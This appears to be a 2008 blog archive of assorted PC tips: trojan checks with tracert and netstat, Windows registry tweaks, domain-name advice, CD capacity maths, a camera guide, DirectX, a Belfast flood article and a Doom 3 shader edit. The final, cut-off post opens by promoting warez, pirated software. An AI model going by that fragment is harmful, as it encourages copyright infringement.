From the MS-DOS Prompt type tracert /www.yourispwebsite.com or .net
or whatever it ends in. Following is an example of the output you should see.

---------------------------------------------------------------------------------------

Tracing route to /www.motion.net [207.239.117.112]over a maximum of 30 hops:
1 128 ms 2084 ms 102 ms chat-port.motion.net [216.1.104.4]
2 115 ms 188 ms 117 ms chat-core.motion.net [216.1.104.1]
3 108 ms 116 ms 119 ms www.motion.net [207.239.117.112]
Trace complete.

------------------------------------------------------------------------------------------

You will see that on lines with the 1 and 2 the first three notations of the
address match with what we saw above, which is a good thing. If it does not,
then some further investigation is needed.

If everything matches like above, you can almost breath easier. Another thing
which should you should check is programs launched during startup. To find
these, Click start/programs/startup, look at what shows up. You should be
able to recognize everything there, if not, once again more investigation is
needed.

-------------------------------------------------------------------------------------------

Now just because everything reported out like we expected (and demonstrated
above) we still are not out of the woods. How is this so, you ask? Do you use
Netmeeting? Do you get on IRC (Internet Relay Chat)? Or any other program
that makes use of the Internet. Have you every recieved an email with an
attachment that ended in .exe? The list goes on and on, basically anything
that you run could have become infected with a trojan. What this means, is
the program appears to do what you expect, but also does just a little more.
This little more could be blasting ebay.com or one of the other sites that
CNNlive was talking about.

What can you do? Well some anti-virus software will detect some trojans.
Another (tedious) thing is to start each of these "extra" Internet programs
one at a time and go through the last two steps above, looking at the routes
and connection the program uses. However, the tricky part will be figuring
out where to tracert to in order to find out if the addresses you see in
step 2 are "safe" or not. I should forewarn you, that running tracert after
tracert, after tracert might be considered "improper" by your ISP. The steps
outlined above may not work exactly as I have stated depending upon your ISP,
but with a true ISP it should work. Finally, this advise comes with NO
warranty and by following my "hints' you implicitly release me from ANY and
ALL liability which you may incur.

Other options

Display protocol statistics and current TCP/IP network connections.
Netstat [-a] [-e] [-n] [-s] [-p proto] [-r] [intervals]

-a.. Display all connections and listening ports.
-e.. Display Ethernet statistics. This may be combined with the -s option.
-n.. Diplays address and port numbers in the numerical form.
-p proto..Shows connections for the protocol specified by proto; proto may be
TCP or UDP. If used with the -s option to display per-protocol statistics,
proto may be TCP, UDP, of IP.
-r.. Display the routing table.
-s.. Display per-protocol statistics. By default, statistics are shown for TCP
UDP and IP; the -p option may be used to specify a subset of the default
interval..Redisplay selected statistics, pausing intervals seconds between each
display. If omitted. netstat will print the current configuration information
once

Change The Default Location For Installing Apps

2008-08-19T00:10:00.000-07:00

As the size of hard drives increase, more people are using partitions to separate and store groups of files.

XP uses the C:\Program Files directory as the default base directory into which new programs are installed. However, you can change the default installation drive and/ or directory by using a Registry hack.

Go to :-

- Start > Run

- Type “regedit” (without “” NOOBS!)

- Go to this directory…
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

- Look for the value named ProgramFilesDir. by default,this value will be C:\Program Files. Edit the value to any valid drive or folder and XP will use that new location as the default installation directory for new programs.

Choosing A Good Domain Name

2008-08-19T00:09:00.000-07:00

Choosing a domain name for your site is one of the most important steps towards creating the perfect internet presence. If you run an on-line business, picking a name that will be marketable and achieve success in search engine placement is paramount. Many factors must be considered when choosing a good domain name. This article summarizes all the different things to consider before making that final registration step!

Short and Sweet

Domain names can be really long or really short (1 - 67 characters). In general, it is far better to choose a domain name that is short in length. The shorter your domain name, the easier it will be for people remember. Remembering a domain name is very important from a marketability perspective. As visitors reach your site and enjoy using it, they will likely tell people about it. And those people may tell others, etc. As with any business, word of mouth is the most powerful marketing tool to drive traffic to your site (and it's free too!). If your site is long and difficult to pronounce, people will not remember the name of the site and unless they bookmark the link, they may never return.

Consider Alternatives

Unless a visitor reaches your site through a bookmark or a link from another site, they have typed in your domain name. Most people on the internet are terrible typists and misspell words constantly. If your domain name is easy to misspell, you should think about alternate domain names to purchase. For example, if your site will be called "MikesTools.com", you should also consider buying "MikeTools.com" and "MikeTool.com". You should also secure the different top level domain names besides the one you will use for marketing purposes ("MikesTools.net", "MikesTools.org", etc.) You should also check to see if there are existing sites based on the misspelled version of the domain name you are considering. "MikesTools.com" may be available, but "MikesTool.com" may be home to a graphic pornography site. You would hate for a visitor to walk away thinking you were hosting something they did not expect.

Also consider domain names that may not include the name of your company, but rather what your company provides. For example, if the name of your company is Mike's Tools, you may want to consider domain names that target what you sell. For example: "buyhammers.com" or "hammer-and-nail.com". Even though these example alternative domain names do not include the name of your company, it provides an avenue for visitors from your target markets. Remember that you can own multiple domain names, all of which can point to a single domain. For example, you could register "buyhammers.com", "hammer-and-nail.com", and "mikestools.com" and have "buyhammers.com" and "hammer-and-nail.com" point to "mikestools.com".

Hyphens: Your Friend and Enemy

Domain name availability has become more and more scant over the years. Many single word domain names have been scooped up which it makes it more and more difficult to find a domain name that you like and is available. When selecting a domain name, you have the option of including hyphens as part of the name. Hyphens help because it allows you to clearly separate multiple words in a domain name, making it less likely that a person will accidentally misspell the name. For example, people are more likely to misspell "domainnamecenter.com" than they are "domain-name-center.com". Having words crunched together makes it hard on the eyes, increasing the likelihood of a misspelling. On the other hand, hyphens make your domain name longer. The longer the domain name, the easier it is for people to forget it altogether. Also, if someone recommends a site to someone else, they may forget to mention that each word in the domain name is separated by a hyphen. If do you choose to leverage hyphens, limit the number of words between the hyphens to three. Another advantage to using hyphens is that search engines are able to pick up each unique word in the domain name as key words, thus helping to make your site more visible in search engine results.

Dot What?

There are many top level domain names available today including .com, .net, .org, and .biz. In most cases, the more unusual the top level domain, the more available domain names are available. However, the .com top level domain is far and away the most commonly used domain on the internet, driven by the fact that it was the first domain extension put to use commercially and has received incredible media attention. If you cannot lay your hands on a .com domain name, look for a .net domain name, which is the second most commercially popular domain name extension.

Long Arm of the Law

Be very careful not to register domain names that include trademarked names. Although internet domain name law disputes are tricky and have few cases in existence, the risk of a legal battle is not a risk worth taking. Even if you believe your domain name is untouchable by a business that has trademarked a name, do not take the chance: the cost of litigation is extremely high and unless you have deep pockets you will not likely have the resources to defend yourself in a court of law. Even stay away from domain names in which part of the name is trademarked: the risks are the same.

Search Engines and Directories

All search engines and directories are different. Each has a unique process for being part of the results or directory listing and each has a different way of sorting and listing domain names. Search engines and directories are the most important on-line marketing channel, so consider how your domain name choice affects site placement before you register the domain. Most directories simply list links to home pages in alphabetical order. If possible, choose a domain name with a letter of the alphabet near the beginning ("a" or "b"). For example, "aardvark-pest-control.com" will come way above "joes-pest-control.com". However, check the directories before you choose a domain name. You may find that the directories you would like be in are already cluttered with domain names beginning with the letter "a". Search engines scan websites and sort results based on key words. Key words are words that a person visiting a search engine actually search on. Having key words as part of your domain name can help you get better results.

Delete An "undeletable" File

2008-08-19T00:08:00.001-07:00

Open a Command Prompt window and leave it open.
Close all open programs.
Click Start, Run and enter TASKMGR.EXE
Go to the Processes tab and End Process on Explorer.exe.
Leave Task Manager open.
Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is located in.
At the command prompt type DEL where is the file you wish to delete.
Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.
Close Task Manager.

Or you can try this

Open Notepad.exe

Click File>Save As..>

locate the folder where ur undeletable file is

Choose 'All files' from the file type box

click once on the file u wanna delete so its name appears in the 'filename' box

put a " at the start and end of the filename
(the filename should have the extension of the undeletable file so it will overwrite it)

click save,

It should ask u to overwrite the existing file, choose yes and u can delete it as normal

Here's a manual way of doing it. I'll take this off once you put into your first post zain.

1. Start
2. Run
3. Type: command
4. To move into a directory type: cd c:\*** (The stars stand for your folder)
5. If you cannot access the folder because it has spaces for example Program Files or Kazaa Lite folder you have to do the following. instead of typing in the full folder name only take the first 6 letters then put a ~ and then 1 without spaces. Example: cd c:\progra~1\kazaal~1
6. Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.
7. Now to delete the file type in del ***.bmp, txt, jpg, avi, etc... And if the file name has spaces you would use the special 1st 6 letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in the specific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correct extension.

Data Capacity of CDs

2008-08-19T00:08:00.000-07:00

Abstract
You can fit on a S/VCD without overburning:
- approx. 735 MB of MPEG data onto a 74min/650MB disc
- approx. 795 MB of MPEG data onto an 80min/700MB disc

You can fit on a CD-ROM without overburning:
- approx. 650 MB of data onto a 74min/650MB disc
- approx. 703 MB of data onto an 80min/700MB disc

----------------------------------------------------------------

Introduction
Let us ignore for now the terms of megabyte for CD capacity and try to understand how the data is stored on a CD.

As well all know, the data is stored digitally as binary data. This means, however the actual information is actually kept on the disc, this information is in the form of "1"s and "0"s. Physically, the information on a CD is as pits on a thin sheet of metal (aluminium).

An a CD-R disc, the data is physically on an organic dye layer which simulates the metal layer on a real pressed CD.

----------------------------------------------------------------

How is the information structured
Now, on the CD, the information isn't just organised from beginning to end willy-nilly. Otherwise, it would be really hard to find a useful piece of information on the CD.

Rather, the information is organised in sectors. Consider a sector as like a page in a book. Just like you are able to quickly find something in a book if you know the page number, you can quickly find something on a CD if you know the sector number.

Now, remember that the CD was original made to hold audio data. It was decided, that the CD would would 75 sectors per second of audio. Although I cannot guess where this number comes from, it is quite appropriate for the audio CD. It means that you can "seek" an audio CD accurately to 1/75th of a second -- which is more than enough for consumer purposes.

Now, with this in mind, we can work out the total data capacity of user data for 1 sector.

----------------------------------------------------------------

The total data capacity of user data of 1 sector on a CD
CD audio uses uncompressed PCM stereo audio, 16-bit resolution sampled at 44.1 kHz.

Thus 1 second of audio contains:
16 bits/channel * 2 channels * 44100 samples/second * 1 second
= 1411200 bits
= 176400 bytes

Since there are 75 sectors per second
1 sector
= 176400 bytes / 75
= 2352 bytes

One sector on a CD contains 2352 bytes max.

----------------------------------------------------------------

The concept of different MODES and FORMS of burning
Now, audio CD was well and good, but the medium would become much more useful if you could store other data on the disc as well. This became to be know as CD-ROM of course.

Now, the audio-CD uses the ENTIRE sector for audio data.

However, for CD-ROMs this caused a problem. Simply, CDs and the CD reading mechanisms were not 100% faultless. That is, errors (indeed frequent errors) could be made during the reading. For audio CDs, this does not matter as much as you could simply interpolate from the adjacent audio samples. This will obviously NOT DO for data CDs. A single bit error could lead to a program being unexecutable or ruin an achive file.

Thus, for CD-ROMs, part of each sector is devoted to error correction codes and error detection codes. The CD-R FAQ has the details, but in effect, only 2048 bytes out of a total of 2352 bytes in each sector is available for user data on a data CD.

This burning mode is either MODE1 or MODE2 Form1.

----------------------------------------------------------------

MODE2 Form2 sectors of VCDs and SVCDs
Now, for VCDs and SVCDs, the video tracks do not necessarily require the robust error correction as normal data on a CD-ROM. However, there is still some overhead per sector that is used for something other than video data (e.g., sync headers).

S/VCDs video tracks are burnt in what is called MODE2 Form2 sectors. In this mode, only 2324 bytes out of a total of 2352 bytes in each sector is available for user data.

This is MUCH MORE than for CD-ROMs, but still less per sector than audio CD.

----------------------------------------------------------------

The disc capacities of CD-ROMs, audio-CDs and VCDs
Now, obviously what ultimately determines the capacity of a disc is the total number of sectors it contains. This is similar to the total number of pages in a blank exercise book (if you recall the book analogy).

The secondary determinant is the burning mode of the disc.

For audio CDs, it is as if you could fill each page from top to bottom with audio data as the entire sector is used for audio data.

For CD-ROMs, it is as if you need to first rule a margin and then leave the bottom part of each page for footnotes (headers + ECC + EDC). The amount of text you can actually write per page is then less due to these other constraints.

For S/VCDs, we still need to rule a margin on the page, but we don't have to worry about the footnotes (headers). We can fit MORE text than a CD-ROM, but less than an audio-CD.

Now remember, 1 second on a CD = 75 sectors.

Thus:
- 74 min CD = 333,000 sectors
- 80 min CD = 360,000 sectors

Data capacity in Mb for an audio-CD
74 min
= 333,000 sectors * 2352 bytes / sector
= 783216000 bytes
= 746.9 Mb

80 min
= 360,000 sectors * 2352 bytes / sector
= 846720000 bytes
= 807.5 Mb

Data capacity in Mb for a CD-ROM
74 min
= 333,000 sectors * 2048 bytes / sector
= 681984000 bytes
= 650.4 Mb

80 min
= 360,000 sectors * 2048 bytes / sector
= 737280000 bytes
= 703.1 Mb

Data capacity in Mb for a S/VCD
74 min
= 333,000 sectors * 2324 bytes / sector
= 773892000 bytes
= 738.0 Mb

80 min
= 360,000 sectors * 2324 bytes / sector
= 836640000 bytes
= 797.9 Mb

----------------------------------------------------------------

Conclusions
As you can see, the often quoted capacities of 650MB and 700MB refer to CD-ROM capacities.

Due to the fact that S/VCDs use a different burning mode where MORE of each sector is available as user data, the relatively capacities are HIGHER.

Now, since S/VCDs are not composed of PURELY video tracks and have some unavoidable overheads, the actually total capacity left for video tracks is a few Mb less for each disc (about 735 Mb for 74min discs and 795 Mb for 80min discs). This is where the often quoted capacities of 740MB and 800MB come from. They are quite accurate.

All these capacities are available BEFORE overburning. Overburning is where you burn MORE sectors than the disc is rated for. If you overburn, you can typically achieve about 1-2 minutes of additional capacity (depending on your drive and media).

Digital Photo ID Cards

2008-08-19T00:07:00.002-07:00

By Frank White

Q: What do you need to make a Digital Photo ID Card?
A: Making digital photo ID cards typically requires several components all working together.
1. You need a computer on which you run the photo ID badge software. You cannot print the cards on a PVC card printer without a computer – the printer can't perform anything without the computer.
2. You need software and it must:
a) Offer a database to store the names and personal information of the people for whom you want to issue badges.
b) Provide a way to integrate image capture with the database – not only import images, but associate the images with specific database records.
c) Provide a way to design and edit badges.
d) Send badges from the computer to a card printer. Badging software, like other business applications, comes in a variety of "flavors" – from low-end to high-end. That is, in addition to performing the simple processes described above, the application may come with many other "features" which enhance the usability and functionality of the application. Features might include requiring a secure log-on, allowing the user to add, delete, or edit database fields and create or print reports, etc.
3. You need a PVC card printer to print the badges. PVC (polyvinylchloride) is the same material that your white plastic household plumbing pipes are made out of. It is porous enough to allow colored inks to be absorbed into the surface of the plastic using a "dye sublimation" process, yet durable enough to last years. The PVC printer allows you to print a photo ID badge directly to a plastic card. The non-digital process required cutting and pasting an instant photo and inserting it into a laminated pouch which must then be sealed by sending it through a heat laminator.
4. You need a digital camera or other "input" device. Your PC and software must allow you to:
a) Plug in a camera.
b) Capture the image through the software. More versatile systems will allow you to capture portraits through video cameras, digital cameras, scanners, or by importing from a file –an "import from file" feature allows someone to send a picture to you by email as a file attachment, which you can then import into the database.
5. Additional hardware may be required, such as a video capture board for certain video cameras, tape backup device, UPS (uninterrupted power supply), etc. Video capture boards, for example, are installed in a PCI or AGP expansion slot on your PC's motherboard. The camera usually plugs directly into these boards. Special lighting may need to be set up where you take portrait pictures. If you want to incorporate fingerprints and signatures in your database and badge, then additional image capture devices will be required for them.
6. Consumables are also part of the package. You will need blank or pre-printed PVC cards and printer ribbons (usually in rolls which print from 250-350 cards per).

Digital Camera Guide

2008-08-19T00:07:00.001-07:00

So, it's time for a digital camera huh? Well, buying one can be more than a little difficult. What types of features should you look for? Well, this guide will tell you that plus get you a little more familiar with what these cameras are capable of.

Megapixels
When it comes to megapixels, the more the better. I recommend a minimum of 2, but 3 or 4 is great. We did a test to see if a camera with 2.3 megapixels (actually 1.92 - 1600 x 1200) could produce a good quality 8x10.

Turns out it can, if you have the right paper and printer. We used HP Premium Plus photo paper with an HP 970 series printer and made a fantastic 8 x 10. Remember, I was a professional photographer before I got into computing, so I know a good print when I see it :-)

The resolution at 8x10 (we had to crop in to make the picture proportional to 8x10) was only 150 DPI. Most printers would not make a real good 8x10 at that resolution, but this one did. So, if you want to be sure you can get good 8 x 10s, you may want to go with a 3 megapixel camera or better (that gives you around 200 DPI at 8x10 size, still not quite the optimum 300 DPI, but it looks good with the right printer).

Optical vs Digital Zoom
You've probably noticed that most digital cameras have both a specification for digital and optical zoom. Pay the most attention to the optical zoom.

The optical zoom magnifies (zooms in) using glass. The digital zoom basically crops out the edge of the picture to make the subject appear closer, causing you to lose resolution or to get an interpolated resolution (i.e. the camera adds pixels). Neither of which help image quality.

Finally, make sure you get enough (optical) zoom. A 2x zoom isn't going to do much for you. A 3x is the average you'll find in most digital cameras will probably be good for most uses. More on lenses later.

Connection
How does the camera connect to your computer? If you have a USB port in your computer, you'll want a camera that can connect via USB as opposed to a slow serial connection.

On the other hand, if your computer doesn't have a USB port, is there a serial connector available for the camera you're looking at? If so, is it a special order and how long does it take to get it?

Storage
What does the camera use to store images with? If it uses a memory stick, make sure you consider buying additional sticks when you get your camera. A typical 8 meg memory stick that comes with a 2 megapixel camera only holds 5 or 6 images at the camera's best quality.

Some cameras use a 3.5 inch disk for storage. Be careful of these!
Although it may sound like a good idea, a 3 megapixel camera at high resolution produces a 1 meg file (compressed!). That's only 1 picture per disk.

Here's a few more things to look out for when trying to make your digital camera purchase.

Picture Formats
When you're trying to decide on which digital camera to get, check and see how many different picture formats it supports.

You want something that can produce both uncompressed (usually TIFF) and compressed (usually JPEG) images. I personally use the high quality JPEG setting on my camera for most of my shooting. TIFFs are just too big and the difference in quality is not ascertainable by mere mortals.

You also want to be able to shoot at a lower resolution than the camera's maximum. That way, If you're running short on memory, you can squeeze a few more shots on your memory stick.

Auxiliary Lens / Flash
This was a biggie for me. While a 3x zoom may work for the "average" user, I needed something that allowed me to do some wide angle work as well as have a good telephoto lens.

So, the camera I purchased a few months back was a Nikon Coolpix 990 (note that this isn't the only camera that can accept lenses). It has auxiliary lenses that screw into the filter ring on the front of the lens. I now have an ultra-wide fisheye lens plus a nice telephoto.

In addition to lenses, I wanted a good flash. The flash that is built into most of these cameras gives you a top range of 15-20 feet - at best. I wanted a camera that could take a powerful auxiliary flash (again, the Nikon isn't the only camera that fits this requirement, but I liked it better than the rest). If you need more reach than the small built in flash can deliver, then make sure you can attach an external flash to any camera you consider.

As an added bonus, if you get a camera that can take an external flash, you can place that flash on a bracket and eliminate red-eye.

Flash Distance
Speaking of flashes, make sure you check the distance the built in flash is good for. You don't want a camera with a wimpy flash that only travels a few feet (well, unless you can get an external flash for it as described above).

Battery Type
This may not sound important, but it is. Anyone who owns a digital camera can tell you they eat batteries the way a sumo wrestler eats at a buffet.

Make sure the camera can run on regular (or rechargeable) "AA" type batteries. You don't want a camera that eats through expensive lithium batteries every 10 shots or so.

One thing to remember about digital cameras, they do eat through batteries. I recommend getting some Nickel Metal Hydride rechargeable for it. I have some for mine and they have saved me a fortune.

Final Notes
Choosing a digital camera isn't easy. There's a huge selection out there and only you can determine which features you need.

For instance, if you shoot wildlife photos, a small 3x zoom probably isn't going to cut it (unless you can attach auxiliary lenses to it). If you shoot lots of close-ups, make sure the camera has some sort of macro capability. If you shoot big group photos indoors, an external flash may be necessary.

My advice is to make a list of things you want to be able to do with the camera then go to somewhere that can help you make a good purchase decision.

Finally, buy the BEST camera you can possibly afford. Or wait until the price drops on one with the type of features you want.

Delete Files From The Recent File List In Windows

2008-08-19T00:07:00.000-07:00

This tip requires a change to the Windows Registry. Please see the MSFN Guide "Backup Your Registry" if you are new to the Windows Registry.

Windows Media Player (WMP) is a built-in application that allows you to play multimedia files. Like many other applications, WMP remembers the most recently played files and displays them in the Recent File List under the File menu. This feature is useful if you regularly play certain files, but you may want to clear the list if you share the computer and a user account or create archives and CDs.

There are two ways you can clear the list:

I. The ClearMRU.exe Utility is available for free in the Windows Media Player Bonus Pack from Microsoft, but Microsoft does not support this tool.

II. You can also manually delete the list through the Windows Registry:

1. Start the Windows Registry Editor, regedit.exe, by typing regedit in the Windows Run Command Line.

2. Go to HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\RecentFileList.

3. Delete the RecentFileList subkey.

4. If you've also streamed content from the Internet, you can delete the RecentURLList subkey.

5. Exit the Registry Editor.

6. Restart the computer.

To keep certain files in the list, don't delete the entire key. Deleting individual entries within the key will get rid of the files that you no longer want in the Recent File List.

DirectX explained

2008-08-19T00:06:00.000-07:00

Ever wondered just what that enigmatic name means?

Gaming and multimedia applications are some of the most satisfying programs you can get for your PC, but getting them to run properly isn’t always as easy as it could be. First, the PC architecture was never designed as a gaming platform. Second, the wide-ranging nature of the PC means that one person’s machine can be different from another. While games consoles all contain the same hardware, PCs don’t: the massive range of difference can make gaming a headache.

To alleviate as much of the pain as possible, Microsoft needed to introduce a common standard which all games and multimedia applications could follow – a common interface between the OS and whatever hardware is installed in the PC, if you like. This common interface is DirectX, something which can be the source of much confusion.

DirectX is an interface designed to make certain programming tasks much easier, for both the game developer and the rest of us who just want to sit down and play the latest blockbuster. Before we can explain what DirectX is and how it works though, we need a little history lesson.

DirectX history
Any game needs to perform certain tasks again and again. It needs to watch for your input from mouse, joystick or keyboard, and it needs to be able to display screen images and play sounds or music. That’s pretty much any game at the most simplistic level.

Imagine how incredibly complex this was for programmers developing on the early pre-Windows PC architecture, then. Each programmer needed to develop their own way of reading the keyboard or detecting whether a joystick was even attached, let alone being used to play the game. Specific routines were needed even to display the simplest of images on the screen or play a simple sound.

Essentially, the game programmers were talking directly to your PC’s hardware at a fundamental level. When Microsoft introduced Windows, it was imperative for the stability and success of the PC platform that things were made easier for both the developer and the player. After all, who would bother writing games for a machine when they had to reinvent the wheel every time they began work on a new game? Microsoft’s idea was simple: stop programmers talking directly to the hardware, and build a common toolkit which they could use instead. DirectX was born.

How it works
At the most basic level, DirectX is an interface between the hardware in your PC and Windows itself, part of the Windows API or Application Programming Interface. Let’s look at a practical example. When a game developer wants to play a sound file, it’s simply a case of using the correct library function. When the game runs, this calls the DirectX API, which in turn plays the sound file. The developer doesn’t need to know what type of sound card he’s dealing with, what it’s capable of, or how to talk to it. Microsoft has provided DirectX, and the sound card manufacturer has provided a DirectX-capable driver. He asks for the sound to be played, and it is – whichever machine it runs on.

From our point of view as gamers, DirectX also makes things incredibly easy – at least in theory. You install a new sound card in place of your old one, and it comes with a DirectX driver. Next time you play your favourite game you can still hear sounds and music, and you haven’t had to make any complex configuration changes.

Originally, DirectX began life as a simple toolkit: early hardware was limited and only the most basic graphical functions were required. As hardware and software has evolved in complexity, so has DirectX. It’s now much more than a graphical toolkit, and the term has come to encompass a massive selection of routines which deal with all sorts of hardware communication. For example, the DirectInput routines can deal with all sorts of input devices, from simple two-button mice to complex flight joysticks. Other parts include DirectSound for audio devices and DirectPlay provides a toolkit for online or multiplayer gaming.

DirectX versions
The current version of DirectX at time of writing is DirectX 9.0. This runs on all versions of Windows from Windows 98 up to and including Windows Server 2003 along with every revision in between. It doesn’t run on Windows 95 though: if you have a machine with Windows 95 installed, you’re stuck with the older and less capable 8.0a. Windows NT 4 also requires a specific version – in this case, it’s DirectX 3.0a.

With so many versions of DirectX available over the years, it becomes difficult to keep track of which version you need. In all but the most rare cases, all versions of DirectX are backwardly compatible – games which say they require DirectX 7 will happily run with more recent versions, but not with older copies. Many current titles explicitly state that they require DirectX 9, and won’t run without the latest version installed. This is because they make use of new features introduced with this version, although it has been known for lazy developers to specify the very latest version as a requirement when the game in question doesn’t use any of the new enhancements. Generally speaking though, if a title is version locked like this, you will need to upgrade before you can play. Improvements to the core DirectX code mean you may even see improvements in many titles when you upgrade to the latest build of DirectX. Downloading and installing DirectX need not be complex, either.

Upgrading DirectX
All available versions of Windows come with DirectX in one form or another as a core system component which cannot be removed, so you should always have at least a basic implementation of the system installed on your PC. However, many new games require the very latest version before they work properly, or even at all.

Generally, the best place to install the latest version of DirectX from is the dedicated section of the Microsoft Web site, which is found at www.microsoft.com/windows/directx. As we went to press, the most recent build available for general download was DirectX 9.0b. You can download either a simple installer which will in turn download the components your system requires as it installs, or download the complete distribution package in one go for later offline installation.

Another good source for DirectX is games themselves. If a game requires a specific version, it’ll be on the installation CD and may even be installed automatically by the game’s installer itself. You won’t find it on magazine cover discs though, thanks to Microsoft’s licensing terms.

Diagnosing problems

Diagnosing problems with a DirectX installation can be problematic, especially if you don’t know which one of the many components is causing your newly purchased game to fall over. Thankfully, Microsoft provides a useful utility called the DirectX Diagnostic Tool, although this isn’t made obvious. You won’t find this tool in the Start Menu with any version of Windows, and each tends to install it in a different place.

The easiest way to use it is to open the Start Menu’s Run dialog, type in dxdiag and then click OK. When the application first loads, it takes a few seconds to interrogate your DirectX installation and find any problems. First, the DirectX Files tab displays version information on each one of the files your installation uses. The Notes section at the bottom is worth checking, as missing or corrupted files will be flagged here.

The tabs marked Display, Sound, Music, Input and Network all relate to specific areas of DirectX, and all but the Input tab provide tools to test the correct functioning on your hardware. Finally, the More Help tab provides a useful way to start the DirectX Troubleshooter, Microsoft’s simple linear problem solving tool for many common DirectX issues.

Disable The Send Error Report, to Microsoft

2008-08-19T00:05:00.001-07:00

To disable the stupid feature in WinXP which tries to send a report to microsoft every time a program crashes you will have to do this:

Open Control Panel
Click on Preformance and Maintenance.
Click on System.
Then click on the Advanced tab
Click on the error reporting button on the bottom of the windows.
Select Disable error reporting.
Click OK
Click OK

Disable Compression On Xp, NTFS partition, Disk Cleanup

2008-08-19T00:05:00.000-07:00

On an NTFS partition, Disk Cleanup can compress old files
to save space. But calculating the savings and performing
the compression often take a long time, and on some systems,
Disk Cleanup hangs during the process. If that happens, or if
you don't care to wait, use this Registry tweak to disable the
compression: Delete the key

HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Explorer\VolumeCaches\Compress Old Files.

Is Climate Change The Reason for the Westlink / Broadway Flood?

2008-08-18T18:01:00.000-07:00

At the weekend during "freak" weather conditions, parts of Northern Ireland received in excess of August's rainfall in under 12hrs, leading to extensive flooding across the province, which lead to 850 calls to emergency services, and over 8000 calls for assistance from public service providers such as the Department of the Environment (DoE), Road Service NI, and Northern Ireland Water. Since I had not posted since Saturday, I'm sure you may have even thought I was stuck somewhere.

However, one iconic part of the road network in Belfast was left submerged in 20ft of water, capturing in excess of 20 million gallons of water. The Westlink and M1 upgrade scheme began in February 2006 at a cost of around £104m in a bid to solve the problems of daily rush-hour bottlenecks. The underpass was opened to traffic six weeks ago — 13 months ahead of schedule — and was designed to improve the strategic links between the M1, the M2 and the M3 motorways.

The Broadway roundabout underpass has two live rivers that run beside it, the Clowney Water to the west, and the Blackstaff adjacent to the east. These rivers are underground and therefore have a fixed capacity. Despite the construction of a large overflow chamber under Broadway roundabout. The design shape of the Westlink is effectively a basin or bowl which would funnel any water to the centre, this water would then drain away, making use of the overflow chamber. In the days preceding the "extraordinary event", there had been continued rainfall, this saturated the area which was worst affected, leading to the ground being unable to absorb any further rainfall. Rain then lay, or in the cases where it fell on uneven ground ran to the lowest point. This increased substantially the amount of water in rivers, and water from previous days were still filtering downwards. At the Clowney Water and Blackstaff, where the capacity is fixed, water could only pass through at normal rates, or increased rates at increased flow, so to cope with twice as much water, the river would have to have passed at twice normal speed, it can to a certain degree cope until no more when the waters will back up an eventually force the rivers to burst their banks.

This month has been the wettest August on record, with 177.8mm of rainfall so far. The last wettest August was in a 1956 with 161mm of rainfall. So how could climate change or global warming be to blame?

Research from Newcastle University in 2006 suggested that rain intensity has doubled in the UK over the last 40 years due to climate change, this has an affect on current systems which may have been designed to cope with large amounts of water over long periods, however as rainfall becomes heavier and more intense, these systems have to cope with the same amount of water but in a shorter time frame, as on Saturday; existing systems simply could not cope.

"If the trend continues, which is likely, this suggests we will have an increase in flooding over the coming years which has major implications for flood risk management"
Dr Hayley Fowler, Newcastle University

This may not be the last time that the Broadway underpass becomes submerged, holding the equivalent water of 32 Olympic swimming pools as the area flooded previously in December 2007, and that was before the underpass had been dug out, it's now only a matter of time and alot of intense rain before it happens again. Floods can also be exacerbated by plastic bags. Bangladesh, imposed the ban after it was revealed they were a major contributor to the 1988 and 1998 floods which submerged two-thirds of the country.

There is a great deal of sympathy for those who have been affected by the recent events, its hard to contemplate that it may be months or even a year before homes will be returned to normal, and the loss of irreplaceable items.

For those disposing of destroyed white goods and electronics, you should contact the council for a free household amenities collection. When replacing white goods, consider purchasing the most energy efficient appliances.

Related Articles
Effects of Climate Change on Local Level
London Under Water
Would You Like a Bag?

Photos
Belfast Telegraph (2-5)

Disable Windows Logo Key

2008-08-18T00:39:00.000-07:00

I was recently playing games and this nasty windos logo key keep annoying me , cause i often accidently clicked it , and i start to search a solution to solve my problem, and found the following article in microsfot website, and it did work, hope this helps, thanks!

CODE
http://support.microsoft.com/?kbid=181348

or in other articles, u can copy the following messages into ur notepad and save as *.reg, and use it..

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,03,00,00,00,00,00,5b,e0,00,00,5c,e0,\
00,00,00,00

Doom 3 Speed Up, Guaranteed 40% better

2008-08-18T00:38:00.000-07:00

***NOTE*** THIS ONLY WORKS FOR ATI CARDS

First, open your doom3\base folder. Doubleclick on the pak000.pk4 file. In the "window can't open this file .. .bla bla" dialog, go on and associate the file with an app like WinRar. With this file open in WinRar, go to the glprogs directory in the file. In there you'll find the shaders. The interaction.vfp file seems to be the main rendering shader. Altering this shader to output a constant color turns most objects into that constant color, except for stuff like computer screens etc.

So doubleclick the interaction.vfp file to open it (you may have to associate the .vfp extension with a text editor like notepad or wordpad first since we're going to edit the file). Scroll down to the fragment shader. You'll find these rows:

Code:

PARAM subOne = { -1, -1, -1, -1 };
PARAM scaleTwo = { 2, 2, 2, 2 };

Add this right below them:

Code:

PARAM specExp = { 16, 0, 0, 0 };

Now scroll down to this:

Code:

# perform a dependent table read for the specular falloff
TEX R1, specular, texture[6], 2D;

Comment out that line by adding a "#" to it, and add another line that will do the same thing with math instead, so it should look like this:

Code:

# perform a dependent table read for the specular falloff
# TEX R1, specular, texture[6], 2D;
POW R1, specular.x, specExp.x;

Save the file and close your text editor. WinRar will ask if you want to update the file in the archive, select yes. Close WinRar and enjoy about 40% higher performance in Doom3.

Downloading Files, Using Archives And Images

2008-08-18T00:37:00.001-07:00

0x01.0 - the start...

So, you've just got a brand new internet connection thingie installed and it can handle up to 1 meg/sec download. But offcourse, no good PC without good software, but you know, good software is very expensive... And on a beautifull sunday morning you see something called Warez. Behold our kingdom and you start drewling a bit untill ur mom comes raging in your room asking for you to put the garbage out. After helping your mom out, the PC and fast inet connection is all yours... And so is the free software.

0x02.0 - packaged files.

